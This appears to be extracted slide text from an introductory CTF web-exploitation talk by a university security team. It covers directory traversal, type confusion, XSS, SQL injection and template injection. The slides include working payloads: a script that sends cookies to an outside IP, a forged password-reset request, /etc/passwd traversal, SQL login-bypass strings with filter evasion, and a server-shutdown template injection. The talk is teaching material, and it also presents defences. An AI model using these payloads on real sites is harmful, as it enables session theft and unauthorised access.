Introduction to
Web Exploitation
Matthew Savage
@bluepichu
Zach Wade
@zwad3
Carolina Zarate
@zaratec4
Thank You
Todayâs Topics
What is PPP?
https://lists.andrew.cmu.edu/mailman/listinfo/plaid-parliament-pwning
What are CTFs?
Security competitions where the goal is to find a hidden flag đ
flag{you_f0und_m3!}
What is web security?
Web Security in Four Words:
Donât trust user input.
Get Pwning
http://problems.getpwning.com:8000/
Web Application Structure
Client: Runs code locally in your browser
Reverse Proxy: Determines to which server the client connects
Server: Hosts the main application logic
Database: Stores application and user data
Client
Server B
Server C
Server A
Reverse
Proxy
Database
Directory Traversal
Directory Traversal
Directory Traversal Âť Static
http://chal.ctf.io:1337/secure/default.php
Directory Traversal Âť Static
If weâre lucky, this will get us an index!
http://chal.ctf.io:1337/secure/default.php
Directory Traversal Âť Static
Donât forget to check this too!
If weâre lucky, this will get us an index!
http://chal.ctf.io:1337/secure/default.php
Directory Traversal Âť Dynamic
http://chal.ctf.io:1337/getimage.php?img=hello.png
Directory Traversal Âť Dynamic
http://chal.ctf.io:1337/getimage.php?img=hello.png
Directory Traversal Âť Dynamic
http://chal.ctf.io:1337/getimage.php?img=../flag.txt
Directory Traversal Âť Dynamic
http://chal.ctf.io:1337/getimage.php?img=../../../../../../etc/passwd
This is fun, but what if we want to know what the server is doing?
Directory Traversal Âť Dynamic
http://chal.ctf.io:1337/getimage.php?img=../getimage.php
Now things are getting interesting...
Directory Traversal Âť Get Pwning
http://problems.getpwning.com:8000/lfi
Type Confusion
Type Confusion
Question: How do we attack servers?
Type Confusion Âť Parameter Abuse
http://target.site.com/login.php?user=myuser
$GET[âuserâ] â âmyuserâ (a string)
Type Confusion Âť Parameter Abuse
http://target.site.com/login.php?user=myuser&user=admin
$GET[âuserâ] â [âmyuserâ, âadminâ] (an array)
Type Confusion Âť Parameter Abuse
http://target.site.com/array.js?arg[0]=0&arg[1]=1&arg[2]=2
req.params.arg â [â0â, â1â, â2â] (an array)
Type Confusion Âť Parameter Abuse
http://target.site.com/object.js?obj[key1]=value1&obj[key2]=value2
req.params.obj â {key1: âvalue1â, key2: âvalue2â} (an object)
Type Confusion Âť Loose Equality
false
true
true
false
true
false
false
Type Confusion Âť Loose Equality
Type Confusion Âť Loose Equality
Type Confusion Âť Get Pwning
http://problems.getpwning.com:8000/type
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) Âť Cookies
client> Please log me in as zaratec
Sure. Store the value token=xyz so I know who you are <server
client> Ok, now get me /mypage. I am zaratec and my token is xyz
Yep, I know you must be zaratec. Hereâs her page <server
Cross-Site Scripting (XSS) Âť Finding Injections
Cross-Site Scripting (XSS) Âť If we had control...
Send Credentials (Cookies)
<script>
fetch(`http://1.2.3.4/?${document.cookie}`)
</script>
Make a Request
<script>
fetch(â/reset-password.phpâ, {
method: âPOSTâ,
headers: {
âContent-Typeâ: âx-www-form-urlencodedâ
},
body: ânew_pass=zachpwn&confirm=trueâ,
})
</script>
Cross-Site Scripting (XSS) Âť The Two Types
Reflected XSS
Unsanitized user input is returned immediately without being stored on the target
Persistent XSS
Unsanitized user input is stored in a database and is seen by everyone who visits the page
Cross-Site Scripting (XSS) Âť CSP
Content Security Policy (CSP) is used to mitigate XSS attacks
Cross-Site Scripting (XSS) Âť Get Pwning
http://problems.getpwning.com:8000/xss
SQL Injection
SQL Injection
At this point, weâve attacked:
Whatâs left? Databases!
SQL Injection Âť Example Queries
INSERT INTO Users (username, password) VALUES ('zwad3', 'zachpwn')
SELECT * FROM Users WHERE username = 'zwad3' AND password = 'zachpwn'
UPDATE Users SET password = 'greatpasswdm8' WHERE username = 'zwad3'
SQL Injection Âť Breaking out of SELECT
SELECT * FROM Users WHERE username = 'zwad3' AND password = 'zachpwn'
SQL Injection Âť Breaking out of SELECT
SELECT * FROM Users WHERE username = 'zwad3' AND password = 'zachpwn'
zwad3
zachpwn
SQL Injection Âť Breaking out of SELECT
SELECT * FROM Users WHERE username = '' hi' AND password = 'zachpwn'
If weâre lucky, the server sends an error back to the client.
If weâre luckier, that error contains the source query.
' hi
zachpwn
SQL Injection Âť Breaking out of SELECT
SELECT * FROM Users WHERE username = '' -- ' AND password = 'zachpwn'
' --
zachpwn
SQL Injection Âť Breaking out of SELECT
SELECT * FROM Users WHERE username = '' OR 1 = 1-- ...
Depending on how the server was written, this might log us in as the first user.
' OR 1 = 1--
SQL Injection Âť Breaking out of SELECT
SELECT * FROM Users WHERE username = '' OR 1 = 1 LIMIT 1-- ...
This should log us in as the first user.
' OR 1 = 1 LIMIT 1--
SQL Injection Âť Breaking out of SELECT
SELECT * FROM Users WHERE username = '' UNION SELECT 'const', 'val'-- ...
This can help us figure out how many columns the Users table has.
' UNION SELECT 'const', 'val'--
SQL Injection Âť Security Antipatterns: Filtering
SELECT * FROM Users WHERE username = '' UNION SELECT 'const', 'val'-- ...
It looks like this quote is causing the problem. Why donât we filter out quotes?
' UNION SELECT 'const', 'val'--
SQL Injection Âť Evading Filters
SELECT * FROM Users WHERE username = '\' AND password = ' OR 1=1-- '
\
OR 1=1--
SQL Injection Âť Evading Filters
SELECT * FROM Users WHERE username = '\' AND password = ' OR 1=1-- '
Ok, thatâs not enough. Weâll also remove the word âORâ.
\
OR 1=1--
SQL Injection Âť Evading Filters
SELECT * FROM Users WHERE username = '\' AND password = ' OR 1=1-- '
OORR 1=1--
OR 1=1--
\
SQL Injection Âť Evading Filters
SELECT * FROM Users WHERE username = '\' AND password = ' OR 1=1-- '
OORR 1=1--
OR 1=1--
\
SQL Injection Âť Secure SQL Queries
$s = $db->prepare(âSELECT * FROM Users WHERE username = ? and password = ?â);
$s->execute(array(âzachâ, âzachpwnâ));
SQL Injection Âť Blind SQL Injection
SQL Injection Âť Blind SQL Injection
If we only have a yes or no result, we have to be more clever
SELECT * FROM users WHERE username='' OR username LIKE 'a%'; -- '
SELECT * FROM users WHERE username='' OR SUBSTRING(username, 1, 1) < 'm'; -- '
SQL Injection Âť Get Pwning
http://problems.getpwning.com:8000/sql
Mini-CTF
Instructions
Want to Learn More?
PPP
Practice
Web Languages
Survey of Forms
Typical Server Languages
Server Languages Âť PHP
Server Languages Âť PHP (Example Program)
<html>ďż˝ <body>ďż˝ <div class=âheaderâ><?php echo get_header_value(); ?></div>ďż˝ <div class=âcontentâ>ďż˝<?phpďż˝$pages = db_get_pages();ďż˝foreach ($pages as $page) {ďż˝ echo â<a href=â{$page[0]}â>{$page[1]}</a>â;ďż˝}ďż˝include âbody.phpâ;ďż˝?>ďż˝ <div class=âfooterâ>Thanks for coming!</div>ďż˝ </body>ďż˝</html>
Server Languages Âť PHP
Server Languages Âť PHP
Server Languages Âť PHP
Because PHP is such a poorly designed language, there are a number of things to look for as potential vulnerabilities
(Basically, PHP is the kitchen sink of vulnerabilities)
Server Languages Âť Python
Servers, in my Python? ďż˝ ...Itâs more common than you think!
Server Languages Âť Python (Example Program)
from flask import Flask, send_from_directoryďż˝app = Flask(__name__)��@app.route(â/<path:path>â)ďż˝def send_file(path):ďż˝ return send_from_directory(â/assetsâ, path)ďż˝@app.route(â/â)ďż˝def hello_world():ďż˝ return â<h1>Hello World</h1>âďż˝app.run(host=â0.0.0.0â, port=1234)
Server Languages Âť Python
Python Servers tend to be
Server Languages Âť Python
Among the most common security vulnerabilities in Python, because of its maturity as a language, is template injection
Server Languages Âť Python (Template Injection)
Correct Templating:
template = âThe template should be a {{ opt1 }} or a {{ opt2 }}. {{ userinp }}âďż˝render_template_string(template, opt1=âfileâ, opt2=âstatic stringâ, userinp=???)
Server Languages Âť Python (Template Injection)
Incorrect Templating:
template = âThe template should be a {{ opt1 }} or a {{ opt2 }}. %userinpâďż˝render_template_string(template % ???, opt1=âfileâ, opt2=âstatic stringâ)
Server Languages Âť Python (Template Injection)
Incorrect Templating:
template = âThe template should be a {{ opt1 }} or a {{ opt2 }}. %userinpâďż˝render_template_string(template % ???, opt1=âfileâ, opt2=âstatic stringâ)
Server Languages Âť Python (Template Injection)
What if userinp = â{{ opt1 }}â?
Then opt1 is rendered twice...
Server Languages Âť Python (Template Injection)
What if userinp = â{{ request.environ['werkzeug.server.shutdown']() }}â?
Then that becomes a lot worse
Server Languages Âť Python (Template Injection)
What does template injection give us
Server Languages Âť Ruby
Server Languages Âť Node.js
WEB-251:
Great Not-So-Theoretical
Ideas in Web Exploitation
WEB-251 Âť Overview of HTTP
WEB-251 Âť Example HTTP Request
GET /test.png HTTP/1.1�Host: ctf.site.io�Accept: text/html,application/xhtml+xml,application/xml�Cookie: acct=t=rB7KuUIZMGBz5%2bSf4%2b6FD1ccjBmuEn�Referrer: google.com
WEB-251 Âť Example HTTP Response
GET /test.png HTTP/1.1�Host: ctf.site.io�Accept: text/html,application/xhtml+xml,application/xml�Cookie: acct=t=rB7KuUIZMGBz5%2bSf4%2b6FD1ccjBmuEn�Referrer: google.com
HTTP 200 Okďż˝Date: Fri, 18 Nov 2016 21:42:32 GMTďż˝Content-Length: 29661ďż˝Content-Type: text/html��<html><head><link rel=âstylesheetâ href=â/styles.cssâ></head>ďż˝<body>....ďż˝
WEB-251 Âť Helpful Headers
WEB-251 Âť Timing Attacks